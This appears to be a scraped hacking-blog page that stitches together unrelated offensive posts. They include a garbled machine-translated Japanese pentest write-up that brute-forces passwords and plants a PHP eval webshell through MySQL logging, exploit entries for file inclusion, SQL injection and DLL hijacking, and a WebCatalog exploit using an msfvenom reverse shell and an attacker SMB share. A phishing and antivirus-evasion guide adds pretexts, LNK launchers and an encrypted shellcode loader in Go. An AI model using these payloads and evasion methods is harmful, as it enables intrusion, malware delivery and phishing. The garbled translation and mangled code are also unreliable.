Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86398637

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

序文

承認されたテストでは、少し前のテストでは、一歩なしにはゲッシェルの目的を達成できないと感じました。単一の脆弱性は確かに普通ですが、組み合わせると、予期しない化学効果がある可能性があります。

予備テスト

このサイトを取得したとき、メンバーのログインインターフェイスを一目で見ました。最初は登録について考えましたが、メンバーシップ機能は非常に少なく、検証コードがないと感じました。バックエンド管理者もメンバーである場合、バックエンドにアクセスして試してみることはできませんか?1049983-20220119230130548-1144246894.png

携帯電話番号のログインが表示されますが、管理者を試してみて、フロントデスクに混乱しないでください。ユーザー名を列挙できることは偶然であり、管理者アカウントもあります。爆発しなければごめんなさい。1049983-20220119230131076-904459722.png

辞書では、Duck King's Dictionary、Blasting Artifactを使用しています。この辞書は、多くのサイト(https://github.com/thekingofduck/fuzzdicts)を爆破するために使用されています。今回はそれを爆破することができて幸運でした。1049983-20220119230131627-1799870607.png

背景に到達してログインすると、管理者は同じパスワードを使用してログインしたいと思っています。接尾辞PHPを追加して、ワンストップのゲルシェルを見つけてアップロードします。1049983-20220119230132091-388272471.png

編集者が画像をアップロードするのを見たとき、物事はそれほど単純ではないと感じました。予想通り、接尾辞の追加は機能しませんでした1049983-20220119230132465-1921288281.png 1049983-20220119230132912-2069101477.png

ThinkCMF Webサイトビルディングシステムであることがわかりました。私はオンラインで脆弱性を検索し、脆弱性のコレクションを見ました(https://www.hacking8.com/bug-web/thinkcms/thinkcmf%E6%BC%8F%E6%B4%9Eです。私は検索を続けました(https://www.freebuf.com/vuls/217586.html)。基本的に、私はすべてのペイロードを試しました。脆弱性がハイバージョンで修正されたか、使用方法が正しくなかったが、それは正常に悪用されていなかったはずです。いくつかの方法はウェブサイトにとって破壊的であり、私がそれを試してみると、私はbeatられて死ぬことはありません。今まで我慢できないので、抜け穴を見つけるようにしてください。退屈できない場合は、もっと抜け穴を見つけてください。リーダーの話を聞くことはできません。

高度なステージ

最初にウェブサイトを開くと、Googleプラグインセンサー(T00LSで見つかります)をインストールし、Webサイトの繊細なディレクトリを最初に検出できます。1049983-20220119230133438-1262866321.png

NMAPを使用してオープンポートを検出し、ポート3306が一般に公開されていることがわかりました。希望なしに3306を爆破したいと思います。とにかく、私はいくつかの3306パスワードを破裂させませんでした。私は超弱いパスワードチェックツールを使用してから、Duck King's Dictionaryを使用しました。辞書が強力であるのか、それとも運が爆発しているのかを誰が知っていますか?ちなみに、これは弱いパスワードではありません。辞書にはこのパスワードがあるとしか言えません。辞書が存在する限り、それは間違っていません。1049983-20220119230133879-1560405270.png

次は通常の操作です。ロギングを試してください

「%一般%」のような変数を表示します。ログステータスを表示します

グローバルgeneral_log='on' on 'nog log reading and writingを設定します

グローバルgeneral_log_file='xxx.php'ログパスを指定します

'?php eval($ _ post [' cmd ']);'を選択しますxxx.phpにログを書き込みます

1049983-20220119230134382-1414972147.png

その他の脆弱性

責任ある態度に基づいて、他のいくつかの抜け穴が発見されましたが、それらは比較的有害ではありませんが、テストレポートを書く必要がない場合は、書くことができます。

ログインIP偽造この背景には一般に、ユーザーのログインIPを記録する習慣がありますが、IPがIPを記録するときにIPが選択された場合、攻撃者はログインIPを偽造できます。 IPの正当性が確認されていない場合、XSSペイロードを構築してストレージXSSをトリガーすることは不可能ではありません。テスト中に数回遭遇しました。ストレージXSSは、メンバーのログインIPが記録されるバックグラウンドにあります。1049983-20220119230134905-556140564.png 1049983-20220119230135328-639271512.png

ただし、ここでの唯一の欠点は、背景がIPの正当性をチェックすることです。違法IPの場合、0.0.0.0.0にリセットされます。

最優先の脆弱性でログインした後、管理者は自分で動作できないことがわかりました。これは恥ずかしいです。管理者は情報を変更できませんでした。1049983-20220119230135738-49515233.png

これは、変更できるリンクを見つけるための非常に簡単な方法であり、URLを変更して管理者の情報を変更します。経験によると、管理者が独自の情報を変更する状況の多くは、フロントエンドの制限です。1049983-20220119230136201-892800483.png

その後、詳細ページがポップアップし、変更できます。ここでは、メンバーシップレベルを変更して、普通のメンバーからVIPに自分自身を変更してください。管理者はどのようにして普通のメンバーになることができますか?1049983-20220119230136738-1892952133.png要約1。ターゲットサイト管理者の背景に管理者アカウントを入力します。パスワードが任意の場合、パスワードが表示され、管理アカウントが存在します。 2。BPの侵入者機能を通じて管理者アカウントを爆破します。パスワード辞書では、Fuzzdicts Dictionary(https://github.com/thekingofduck/fuzzdicts)を使用しています。 3。バックグラウンドを入力した後、画像のアップロードがアップロードされましたが、アップロードサイトのターゲットサイトはホワイトリストから制限されており、文をアップロードできません。 4。クラウドクリケットを通じて、ターゲットサイトはCMSフィンガープリントで検出され、ThinkCMシステムであることがわかりました。いくつかの歴史的な脆弱性をテストしましたが、実りはありませんでした。 16.情報検出は、検出のためにGoogle Chromeプラグインセンサーを介して実行され、PHPINFO.PHPが見つかりました。ウェブサイトの絶対パスはここに表示されます。 17. NAMPを介してターゲットサイトのIPをスキャンし、ポート3306 18があることを見つけます。ターゲットサイトのポート3306は、超弱いパスワードツールを通して爆破され、パスワードは最終的に正常に爆破されました。 19. NAVICATを介してターゲットサイトMySQLにリモートで接続し、「%一般%」のようなSQLコマンド端子表示変数でログログを介して文を書きます。ログステータスを表示するグローバルgeneral_log='on' on 'on on on on on log reading and writing set set set set set set set set set set set set set set xxx.php'ログパス選択'?php eval($ _ post [' cmd ']);' xxx.php20にログを書き込みます。最後に、アリの剣を通して正常に接続します。出典:https://xz.aliyun.com/t/10460

source: https://www.securityfocus.com/bid/51976/info
  
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
  
http://www.example.com/novacms/includes/function/gets.php?filename=[EV!L] 
            
# Exploit Title: User Registration & Login and User Management System v3.0 - SQL Injection (Unauthenticated)
# Google Dork: NA
# Date: 19/08/2023
# Exploit Author: Ashutosh Singh Umath
# Vendor Homepage: https://phpgurukul.com
# Software Link:
https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 3.0
# Tested on: Windows 11
# CVE : Requested


Proof Of Concept:

1. Navigate to the admin login page.

URL: http://192.168.1.5/loginsystem/admin/

2. Enter "*admin' -- -*" in the admin username field and anything
random in the password field.

3. Now you successfully logged in as admin.

4. To download all the data from the database, use the below commands.

  4.1. Login to the admin portal and capture the request.

  4.2. Copy the intercepted request in a file.

  4.3. Now use the below command to dump all the data


Command:  sqlmap -r <file-name> -p username -D loginsystem --dump-all



Thanks and Regards,

Ashutosh Singh Umath
            
 #---------------------------------------------------------
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
# Date: 2023-09-01
# Author: Moein Shahabi
# Vendor: https://www.microsoft.com
# Version: Windows 11 Pro 10.0.22621
# Tested on: Windows 11_x64 [eng]

#---------------------------------------------------------


Description:

HelpPane object allows us to force Windows 11 to DLL hijacking 

Instructions:

1. Compile dll
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory 
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"
4. Boom DLL Hijacked!


------Code_Poc-------
#pragma once
#include <Windows.h>



// Function executed when the thread starts
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
    MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
    return 0;
}

PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
#ifdef _WIN64
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;

    // Create some breathing room
    baseAddress = baseAddress + optionalHeader->SizeOfImage;

    for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
        PBYTE usuable = (PBYTE)VirtualAlloc(
            offset,
            size,
            MEM_RESERVE | MEM_COMMIT,
            protection);

        if (usuable) {
            ZeroMemory(usuable, size); // Not sure if this is required
            return usuable;
        }
    }
#else
    // x86 doesn't matter where we allocate

    PBYTE usuable = (PBYTE)VirtualAlloc(
        NULL,
        size,
        MEM_RESERVE | MEM_COMMIT,
        protection);

    if (usuable) {
        ZeroMemory(usuable, size);
        return usuable;
    }
#endif
    return 0;
}

BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
{
#ifdef _WIN64
    BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>
    BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
#else
    BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>
    BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
#endif

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
    PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDataDirectory->Size == 0)
        return FALSE; // Nothing to forward

    PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

    if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
        return FALSE; // TODO: Add support for DLLs with mixed ordinals

    dosHeader = (PIMAGE_DOS_HEADER)ourBase;
    ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    optionalHeader = &ntHeaders->OptionalHeader;
    exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDataDirectory->Size == 0)
        return FALSE; // Our DLL is broken

    PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

    // ----------------------------------

    // Make current header data RW for redirections
    DWORD oldProtect = 0;
    if (!VirtualProtect(
        ourExportDirectory,
        64, PAGE_READWRITE,
        &oldProtect)) {
        return FALSE;
    }

    DWORD totalAllocationSize = 0;

    // Add the size of jumps
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));

    // Add the size of function table
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);

    // Add total size of names
    PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
    for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
        totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;

    // Add size of name table
    totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);

    // Add the size of ordinals:
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);

    // Allocate usuable memory for rebuilt export data
    PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
    if (!exportData)
        return FALSE;

    PBYTE sideAllocation = exportData; // Used for VirtualProtect later

    // Copy Function Table
    PINT newFunctionTable = (PINT)exportData;
    CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
    exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
    ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);

    // Write JMPs and update RVAs in the new function table
    PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
    for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
        newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);

        CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
        exportData += sizeof(jmpPrefix);

        PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
        CopyMemory(exportData, &realAddress, sizeof(LPVOID));
        exportData += sizeof(LPVOID);

        CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
        exportData += sizeof(jmpSuffix);
    }

    // Copy Name RVA Table
    PINT newNameTable = (PINT)exportData;
    CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
    exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
    ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);

    // Copy names and apply delta to all the RVAs in the new name table
    for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
        PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
        DWORD length = (DWORD)strlen((LPCSTR)realAddress);
        CopyMemory(exportData, realAddress, length);
        newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
        exportData += length + 1;
    }

    // Copy Ordinal Table
    PINT newOrdinalTable = (PINT)exportData;
    CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
    exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
    ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);

    // Set our counts straight
    ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
    ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;

    if (!VirtualProtect(
        ourExportDirectory,
        64, oldProtect,
        &oldProtect)) {
        return FALSE;
    }

    if (!VirtualProtect(
        sideAllocation,
        totalAllocationSize,
        PAGE_EXECUTE_READ,
        &oldProtect)) {
        return FALSE;
    }

    return TRUE;
}
// Executed when the DLL is loaded (traditionally or through reflective injection)
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    HMODULE realDLL;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
        realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
        if (realDLL)
            ProxyExports(hModule, realDLL);


    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
--------------------------
            
# Exploit Title: WebCatalog 48.4 - Arbitrary Protocol Execution
# Date: 9/27/2023
# Exploit Author: ItsSixtyN3in
# Vendor Homepage: https://webcatalog.io/en/
# Software Link: https://cdn-2.webcatalog.io/webcatalog/WebCatalog%20Setup%2052.3.0.exe
# Version: 48.4.0
# Tested on: Windows
# CVE : CVE-2023-42222

Vulnerability summary:
WebCatalog before version 48.8 calls the Electron shell.openExternal function without verifying that the URL is for an http or https resource. This vulnerability allows an attacker to potentially execute code through arbitrary protocols on the victims machine by having users sync pages with malicious URLs. The victim has to interact with the link, which can then enable an attacker to bypass security measures for malicious file delivery.

Exploit details:

-   Create a reverse shell file.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe



-   Host a reverse shell file (or otherwise) on your own SMB share using impacket (https://github.com/fortra/impacket/blob/master/examples/smbserver.py)

python3 smbserver.py Tools -smb2support



-   Have the user sync a page with the payload as a renamed link

[Friendly Link](Search-ms://query=<FileName>&crumb=location\\<attackerIP>\<attackerSMBShare>&displayname=Spoofed%20Windows%20Title)



Payload:
search-ms://query=<FileName>&crumb=location\\<attackerIP>\<attackerSMBShare>&displayname=Spoofed%20Windows%20Title

Tobias Diehl
Security Consultant
OSCP, CRTO, CEH, PenTest+, AZ-500, SC-200/300
Pronouns: he/him
e-mail:  tobias.diehl@bulletproofsi.com
            

簡単な説明

釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。

情報収集

バッチメールボックスコレクション

https://APP.SNOV.IO/

http://www.skymem.info/

検索エンジン

一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。

XXで報告されているように、XX募集は一般の電子メールアドレス、関連する構文に直面しています。

site:'xxx.com 'レポート

site:'xxx.com '募集

XX Company Report @126.com

XX Company Recruitment @QQ.com

image-20231103173433363

釣り技術

ソーシャルワーカー釣り

最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務、および安全性の認識が弱い他の人々が望ましい。それらに対処するために、事前に複数のシナリオセットを準備します。

高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。

Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。

メールフィッシング

マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)

主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)

福祉補助金の発行

現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します

image-20231104103425528

image-20230922182918302

履歴書配達

募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません

image-20231104105527137

釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です

image-20231103155359779

レポートレター

XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます

ryp4e4iibef2450.png

ファイニングファイル変装

一般的なヒント

トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。

珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。

ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。

lnk釣り

ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)

ショートカットのターゲット位置に記入してください:

%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'

img

アイコンの変更パスの選択:

C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション

%SystemRoot%\\ System32 \\ imageres.dll

%SystemRoot%\\ System32 \\ shell32.dll

image.png

ボックスエラーのヒント

msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします

VBS実装

エラーの再開時に次に再開します

wscript.sleep 2000

msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '

コード実装に移動します

パッケージメイン

輸入(

'github.com/gen2brain/dlgs'

))

func box(){

_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')

err!=nil {

パニック(err)

}

}

効果を実現します

image-20231103170505169

ファイルバンドラー

通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はC: \ uses \ public \ videosディレクトリの下で実行されるようにリリースされます。

バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス

バージョン1.2追加されたファイルがリリースされた後に自動的に非表示

image-20231103113848878

効果の実現

image-20231104115308737

一般的なソフトキル型タイプ

ソフトキリングタイプのソフトキリング機能ターコイズ

コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。

360

単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。

360コアクリスタル

オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。

ディフェンダー

Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。

基本的な負荷方法

以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。

最初にPythonスクリプトを使用して、payload.cファイルを暗号化します

base64をインポートします

OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'

encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))

encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')

print(encodedshellcode)

image-20231104111224020

コンパイルする出力コンテンツの暗号化されたシェルコードを入力します

パッケージメイン

輸入(

「エンコード/base64」

「syscall」

「安全でない」

'github.com/lxn/win'

'golang.org/x/sys/windows'

))

func main(){

//base64およびxorを介してシェルコードコンテンツを復号化します

win.showwindow(win.getConsoleWindow()、win.sw_hide)

暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='

decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)

i :=0;私はlt; len(decodedshellcode); i ++ {

decodedshellcode [i] ^=0x77

}

//kernel32.dllでvirtualAlloc関数を取得します

kernel32、_ :=syscall.loaddll( 'kernel32.dll')

virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')

//メモリを割り当て、シェルコードコンテンツを書き込みます

allocsize :=uintptr(len(decodedshellcode))

mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)

mem==0の場合{

パニック( 'VirtualAlloc Failed')

}

バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]

コピー(バッファ、デコードシェルコード)

//シェルコードを実行します

syscall.syscall(mem、0、0、0、0)

}

ユニバーサルソフトキルスキル

リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。

ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。

ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。

殺しないで一つのクリック生成

私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます

殺されていないマスター・ワン・チャオの傑作は、悪魔攻撃3https://github.com/wangfly-me/loaderflyによって変更されました

サウザンドマシン - レッドチームトロイの木馬無料殺人馬はhttps://github.com/pizz33/qianjiを自動的に生成します

コンパイルパラメーターの影響

GO:

- レースレース検出コンピレーション

-ldflags '-s -w'コンパイル情報を削除します

-ldflags '-h Windowsgui'ウィンドウを非表示にします

Garble(難解ライブラリ):

- 追加の情報を削除します

- 文学的混乱テキスト

-seed=base64によってエンコードされたランダムランダムシード

たとえば、無害なコードをコンパイルする場合、文字パラメーターを使用します。 360は引き続き毒を報告します。追加しないと、毒を報告しません。

パッケージメイン

func main(){

//乗算する2つの数字

num1 :=5

Num2 :=3

結果:=0

//ループにはAを使用して乗算を実行します

i :=0;私はlt; num2; i ++ {

結果+=num1

}

}

image-20231103142821152

-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)

パッケージメイン

'github.com/lxn/win'をインポート

func main(){

win.showwindow(win.getConsoleWindow()、win.sw_hide)

}

func box()int {

FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')

freeconsole.call()

0を返します

}

func main(){

箱()

静的機能処理

obfusal

GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip

より高いバージョンhttps://github.com/burrowers/garbleに行きます

マングルは文字列を置き換えます

https://github.com/optiv/mangle

mangle.exe -i xxx.exe -m -o out.exe

マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字image-20231104111621701に置き換えられていることがわかります。

base64エンコード変数

CMD :=exec.command( 'rundll32.exe'、 'xxx')

キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます

EncodedCommand :='cnvuzgxsmziuzxhl'

Encodedarguments :='mtextdgfyda=='

//base64エンコードされたコマンドとパラメーターをデコードします

decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)

decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)

cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))

QVMバイパス

リソースを追加

1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます

image-20231104111439772

https://github.com/pizz33/360qvm_bypass

https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public

https://github.com/langsasec/sign-sacker

qmor0tz41py2461.png

image-20230504161714715

行動特性

シェルコードを直接実行し、通常はQVMを直接報告します

パッケージメイン

輸入(

「syscall」

「安全でない」

))

var(

ntdll=syscall.mustloaddll( 'ntdll.dll')

virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')

rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')

))

const(

mem_commit=0x1000

mem_reserve=0x2000

page_execute_readwrite=0x40

))

func main(){

addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)

err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {

syscall.exit(0)

}

_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))

err!=nil amp; amp; err.error()!='操作が正常に完了しました

このサイトは数ヶ月前から来たため、写真は完成しておらず、それらを補う方法はありません。

私がこの記事を書いていたとき、隣のカップルは拍手し、音は大声で、私は一度心が書かれていませんでした、そして私は少し混乱したかもしれません。また、私たちが安全なときに隣のそのような人々にしばしば出会うのはなぜですか?

既知のターゲットWebサイト

1049983-20231228205024042-1185790497.jpg

